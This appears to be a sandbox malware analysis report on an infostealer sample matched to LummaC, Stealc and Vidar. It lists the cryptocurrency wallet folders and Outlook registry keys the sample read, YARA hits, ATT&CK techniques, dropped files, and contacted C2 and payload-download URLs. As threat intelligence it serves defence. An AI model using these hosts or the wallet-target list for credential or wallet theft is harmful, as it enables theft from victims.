Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: Yara match	File source: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8148, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 18.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.KECFIDGCBF.exe.3715570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.KECFIDGCBF.exe.3715570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2171273173.0000000003715000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2633856552.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2638069284.000000000122A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8148, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.38e5570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.38e5570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7376, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8148, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2E0C40 sqlite3_bind_zeroblob,	3_2_6C2E0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2E0D60 sqlite3_bind_parameter_name,	3_2_6C2E0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C208EA0 sqlite3_clear_bindings,	3_2_6C208EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C2E0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	3_2_6C2E0B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C206410 bind,WSAGetLastError,	3_2_6C206410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	511 Process Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	56 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	251 Security Software Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	47%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
file.exe	49%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\userBAEBGCFIEH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66fa2b049020f_ldnf[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66fa2afc5abea_vasd[1].exe	100%	Joe Sandbox ML
C:\Users\userBGDBKKFHIE.exe	100%	Joe Sandbox ML
C:\ProgramData\DGHIECGCBK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2ae906657_snd[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2afc5abea_vasd[1].exe	100%	Joe Sandbox ML
C:\ProgramData\KECFIDGCBF.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2b049020f_ldnf[1].exe	100%	Joe Sandbox ML
C:\ProgramData\IDGDAAKFHI.exe	100%	Joe Sandbox ML
C:\ProgramData\DGHIECGCBK.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\ProgramData\IDGDAAKFHI.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\ProgramData\KECFIDGCBF.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\userBAEBGCFIEH.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\userBGDBKKFHIE.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2ae906657_snd[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2afc5abea_vasd[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66fa2b049020f_ldnf[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66fa2afc5abea_vasd[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66fa2b049020f_ldnf[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
possiwreeste.site	3%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
urusvisa.com	0%	Virustotal	Browse
cowod.hopto.org	2%	Virustotal	Browse
t.me	0%	Virustotal	Browse
writekdmsnu.site	1%	Virustotal	Browse
agentyanlark.site	1%	Virustotal	Browse
bellykmrebk.site	1%	Virustotal	Browse
files.veritas.org.ng	5%	Virustotal	Browse
commandejorsk.site	1%	Virustotal	Browse
underlinemdsj.site	1%	Virustotal	Browse
famikyjdiag.site	2%	Virustotal	Browse
delaylacedmn.site	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://player.vimeo.com	0%	URL Reputation	safe
https://player.vimeo.com	0%	URL Reputation	safe
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0%	URL Reputation	safe
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0%	URL Reputation	safe
https://steam.tv/	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://store.steampowered.com/privacy_agreement/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0%	URL Reputation	safe
https://store.steampowered.com/;	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	0%	URL Reputation	safe
https://community.akamai.steamstatic.com/	0%	URL Reputation	safe
http://cowod.hopto.org	2%	Virustotal		Browse
commandejorsk.site	1%	Virustotal		Browse
http://46.8.231.109/c4754d4f680ead72.php	21%	Virustotal		Browse
https://www.youtube.com	0%	Virustotal		Browse
http://46.8.231.109/c4754d4f680ead72.phpp	16%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
agentyanlark.site	1%	Virustotal		Browse
http://cowod.hopto.org_DEBUG.zip/c	0%	Virustotal		Browse
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	22%	Virustotal		Browse
https://community.akamai.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=engli	0%	Virustotal		Browse
http://urusvisa.com/sql.dll	0%	Virustotal		Browse
http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exe	3%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
possiwreeste.site	172.67.205.129	true	true	3%, Virustotal, Browse	unknown
steamcommunity.com	104.102.49.254	true	true	0%, Virustotal, Browse	unknown
urusvisa.com	5.42.101.62	true	true	0%, Virustotal, Browse	unknown
cowod.hopto.org	45.132.206.251	true	true	2%, Virustotal, Browse	unknown
t.me	149.154.167.99	true	true	0%, Virustotal, Browse	unknown
files.veritas.org.ng	147.45.44.104	true	false	5%, Virustotal, Browse	unknown
underlinemdsj.site	104.21.1.169	true	true	1%, Virustotal, Browse	unknown
commandejorsk.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
famikyjdiag.site	unknown	unknown	true	2%, Virustotal, Browse	unknown
writekdmsnu.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
agentyanlark.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
delaylacedmn.site	unknown	unknown	true	1%, Virustotal, Browse	unknown
bellykmrebk.site	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
commandejorsk.site	true	1%, Virustotal, Browse	unknown
http://urusvisa.com/mozglue.dll	true		unknown
http://46.8.231.109/c4754d4f680ead72.php	true	21%, Virustotal, Browse	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true	22%, Virustotal, Browse	unknown
http://urusvisa.com/softokn3.dll	true		unknown
agentyanlark.site	true	1%, Virustotal, Browse	unknown
http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exe	true	3%, Virustotal, Browse	unknown
http://urusvisa.com/sql.dll	true	0%, Virustotal, Browse	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true		unknown
http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exe	true		unknown
underlinemdsj.site	true		unknown
http://urusvisa.com/freebl3.dll	true		unknown
possiwreeste.site	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true	URL Reputation: malware	unknown
https://possiwreeste.site/api	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true		unknown
http://urusvisa.com/vcruntime140.dll	true		unknown
bellykmrebk.site	true		unknown
https://t.me/jamsemlg	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://urusvisa.com/Z	RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org	RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://urusvisa.com:80Local	RegAsm.exe, 0000000E.00000002.2469818698.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exe)	RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RegAsm.exe, 00000003.00000002.2192823083.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://urusvisa.com/ones	RegAsm.exe, 0000000E.00000002.2471886617.000000000146D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/c4754d4f680ead72.phpp	RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	false	16%, Virustotal, Browse	unknown
https://www.gstatic.cn/recaptcha/	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://www.google.com	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllX6	RegAsm.exe, 00000012.00000002.2638069284.000000000126E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/jamsemlg8	RegAsm.exe, 00000003.00000002.2192823083.0000000000D60000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=engli	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://cowod.hopto.org_DEBUG.zip/c	file.exe, 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	RegAsm.exe, 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://files.veritas.org.ng/ldms/66fa2afc5abea_vasd.exeta;	RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://cowod.hopto.	RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://urusvisa.com/B	RegAsm.exe, 0000000E.00000002.2471886617.00000000014C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://urusvisa.com:80CAE	RegAsm.exe, 0000000E.00000002.2469818698.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto	RegAsm.exe, 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/ion1	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://s.ytimg.com;	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/c4754d4f680ead72.phpG	RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	RegAsm.exe, 00000009.00000002.2188451581.0000000000CAA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RegAsm.exe, 00000003.00000002.2192823083.0000000000EFA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2638069284.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.2657383882.0000000027462000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://urusvisa.com/G	RegAsm.exe, 00000003.00000002.2192823083.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://urusvisa.com/6B	RegAsm.exe, 0000000E.00000002.2471886617.00000000014C5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/ae5ed	file.exe, 00000000.00000002.1675055595.00000000038E5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, DGHIECGCBK.exe, 0000000A.00000002.2161789576.00000000042BB000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	RegAsm.exe, 00000009.00000002.2188451581.0000000000CFB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mozilla.org0/	RegAsm.exe, 00000003.00000002.2225364836.0000000028508000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2241728608.00000000402BE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2220429014.000000002259A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2234052800.00000000343E0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP	RegAsm.exe, 00000009.00000002.2191128463.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://store.steampowered.com/privacy_agreement/	RegAsm.exe, 00000009.00000002.2188451581.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com:443/profiles/76561199724331900	RegAsm.exe, 00000009.00000002.2188451581.0000000000C9E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
